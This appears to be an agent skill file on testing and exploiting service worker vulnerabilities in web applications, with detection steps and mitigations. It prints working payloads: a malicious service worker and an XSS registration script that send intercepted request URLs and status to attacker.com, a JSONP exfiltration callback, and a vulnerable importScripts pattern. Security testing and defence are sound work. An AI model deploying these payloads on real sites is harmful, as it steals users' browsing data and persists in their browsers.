| name | service-worker-xss-testing |
| description | How to test for service worker vulnerabilities and XSS abuse vectors. Use this skill whenever the user mentions service workers, SW exploitation, push notifications, importScripts abuse, DOM clobbering with service workers, or wants to audit web applications for service worker security issues. This skill helps identify and exploit service worker vulnerabilities including arbitrary JS upload + XSS registration, JSONP manipulation, and importScripts hijacking. |
Service Worker XSS Testing
A skill for testing and exploiting service worker vulnerabilities in web applications.
When to Use This Skill
Use this skill when:
- Testing web applications for service worker security issues
- Investigating XSS vulnerabilities that could register malicious service workers
- Auditing applications that use service workers for offline functionality
- Testing for
importScripts abuse and DOM clobbering attacks
- Evaluating push notification security risks
- Performing comprehensive XSS testing that includes service worker attack vectors
Understanding Service Workers
A service worker is a script that runs in the browser background, separate from web pages. It enables offline and background processing but can be exploited to:
- Intercept and modify all network requests within its scope
- Steal URLs and data from victim interactions
- Persist even after the original page is closed
- Bypass some CSP protections via
importScripts
Attack Vectors
1. Arbitrary JS Upload + XSS Registration
Requirements:
- Ability to upload arbitrary JavaScript files to the server
- XSS vulnerability to load/register the uploaded service worker
Attack Flow:
- Upload malicious service worker script to the target server
- Use XSS to execute registration code
- Service worker intercepts all fetch requests in scope
Malicious Service Worker Template:
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url);
return response;
}));
});
Registration Code (XSS Payload):
<script>
window.addEventListener('load', function() {
var sw = "/path/to/uploaded/sw.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "https://attacker.com/SW/success", true);
xhttp.send();
}, function (err) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "https://attacker.com/SW/error", true);
xhttp.send();
});
});
</script>
2. Vulnerable JSONP + Service Worker Registration
Requirements:
- JSONP endpoint with controllable callback output
- XSS to load the JSONP with malicious payload
Attack Flow:
- Craft JSONP request that returns service worker code
- Use XSS to load the JSONP endpoint
- Service worker registers from JSONP response
JSONP Payload Example:
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
3. importScripts Abuse via DOM Clobbering
Requirements:
- Service worker that uses
importScripts with attacker-controllable parameter
- DOM clobbering capability to modify the parameter
Vulnerable Pattern:
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get("host");
self.importScripts(host + "/sw_extra.js");
Attack:
- Identify service worker with controllable
importScripts parameter
- Use DOM clobbering to modify the parameter value
- Service worker loads malicious script from attacker domain
- This bypasses CSP protections
4. Push Notification Exploitation
Risk Assessment:
- Permissions granted: Service worker can receive and execute push notifications without user interaction
- Permissions denied: Limits continuous threat potential
Testing:
- Check if push notification permissions are requested
- Test if service worker can be triggered via push
- Evaluate persistence of malicious service worker
Detection Methods
Browser Developer Tools
- Open Developer Tools (F12)
- Navigate to Application tab
- Check Service Workers section
- View registered workers, scope, and status
Chrome Internals
- Visit
chrome://serviceworker-internals for detailed service worker information
- Shows all registered workers across domains
- Useful for identifying unexpected service workers
Automated Detection
Use the detect-service-workers.sh script to check for service workers programmatically.
Mitigation Recommendations
For Site Operators
- Lower Service Worker TTL: Reduce the 24-hour cache directive to minimize vulnerability window
- Implement Kill-Switch: Create a mechanism to rapidly deactivate service workers
- Validate Uploads: Strictly validate and sanitize any user-uploaded JavaScript
- Scope Limitation: Use narrow scopes for service workers when possible
- Monitor Registration: Log and monitor service worker registration events
For Developers
- Avoid Dynamic
importScripts: Don't use attacker-controllable parameters
- Validate URL Parameters: Sanitize all parameters used in service worker registration
- Use Subresource Integrity: Verify script integrity before loading
- Implement CSP: While
importScripts can bypass some CSP, it still provides defense in depth
Testing Checklist
Tools
Shadow Workers
C2 framework for service worker exploitation
Detection Script
Run scripts/detect-service-workers.sh to programmatically check for service workers.
Payload Generator
Use scripts/generate-sw-payload.py to create custom service worker payloads for testing.
References
Important Notes
- 24-Hour Persistence: Malicious service workers can persist for up to 24 hours after XSS fix (assuming online client)
- CSP Bypass:
importScripts abuse can bypass Content Security Policy protections
- Scope Matters: Service workers operate within their registered scope - broader scope = greater impact
- User Interaction: Push notifications require permission but enable background execution
- Testing Ethics: Only test applications you have authorization to audit